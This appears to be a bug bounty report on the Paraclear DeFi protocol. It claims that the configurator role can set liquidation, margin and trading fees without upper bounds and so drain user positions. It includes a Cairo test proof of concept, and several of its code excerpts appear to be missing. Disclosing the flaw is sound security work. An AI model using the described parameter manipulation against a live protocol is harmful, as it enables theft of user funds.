Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The Paraclear protocol grants the CONFIGURATOR_ROLE unrestricted power to modify critical financial parameters including margin requirements, liquidation fees, and trading fees without any upper bounds validation. A malicious configurator can exploit this to set extreme parameter values (e.g., 1000% margin requirements, 100% liquidation fees) that instantly make all user positions unhealthy, then liquidate them through the insurance fund to extract maximum penalties and trading fees, effectively draining the entire protocol.
Vulnerability Details
1. Unrestricted Parameter Control
The configurator role has unlimited power to modify critical parameters with no upper bounds:
Liquidation Fee - No Upper Limit:
Margin Parameters - No Upper Limit:
Trading Fees - No Upper Limit:
2. Margin Calculation Impact
The margin requirement calculation directly uses these unvalidated parameters:
3. Health Check Vulnerability
Account health is determined by comparing account value to margin requirements:
When imf_base is set to extreme values (e.g., 10x normal), all accounts become immediately liquidatable.
4. Liquidation Penalty Extraction
The liquidation penalty is calculated as:
With extreme parameters:
margin_requirement = position_value × 1000% = 10× position value
// paraclear/src/paraclear/paraclear.cairo:1386-1387
let liquidation_fee = self.getLiquidateFee();
let liq_penalty_full = mul_128(margin_requirement, liquidation_fee.try_into().unwrap());
For a user with $10,000 position:
- New margin requirement: $10,000 × 1000% = $100,000
- Liquidation penalty: $100,000 × 100% = $100,000
- Additional trading fees during settlement: $10,000 × 50% = $5,000
use crate::tests::test_utils::{
ADMIN, CONFIGURATOR, EXECUTOR, INSURANCE_FUND, NO_ROLE_ADDRESS, STATE_PUBLISHER,
setup_paraclear, setup_paraclear_with_oracle,
};
#[test]
fn test_poc_configurator_manipulates_critical_parameters() {
let (_, paraclear_dispatcher) = setup_paraclear();
// Check initial liquidation fee (should be 0 in test setup)
let initial_fee = paraclear_dispatcher.getLiquidateFee();
assert(initial_fee == 0, 'fee should be 0');
start_cheat_caller_address(paraclear_dispatcher.contract_address, CONFIGURATOR());
// 1. Set extreme liquidation fee (1000% instead of documented 70%)
// Documentation claims "The Liquidation Fee is set to 70%" but code has NO validation
let extreme_liquidation_fee = 1000000000; // 1000% in 8-decimal format
paraclear_dispatcher.setLiquidationFee(extreme_liquidation_fee);
// 2. Test even more extreme values to show lack of bounds checking
let absurd_fee = 50000000000; // 50000% - completely unreasonable
paraclear_dispatcher.setLiquidationFee(absurd_fee);
stop_cheat_caller_address(paraclear_dispatcher.contract_address);
// 3. Verify extreme parameters were stored without any validation
let final_fee = paraclear_dispatcher.getLiquidateFee();
assert(final_fee == absurd_fee, 'fee set without bounds checking');
// Impact: With 50000% liquidation fee, any liquidation would extract 500x more
// than the normal fee, enabling complete protocol fund drainage
// This completely violates the documented guarantee of 70% max fee
}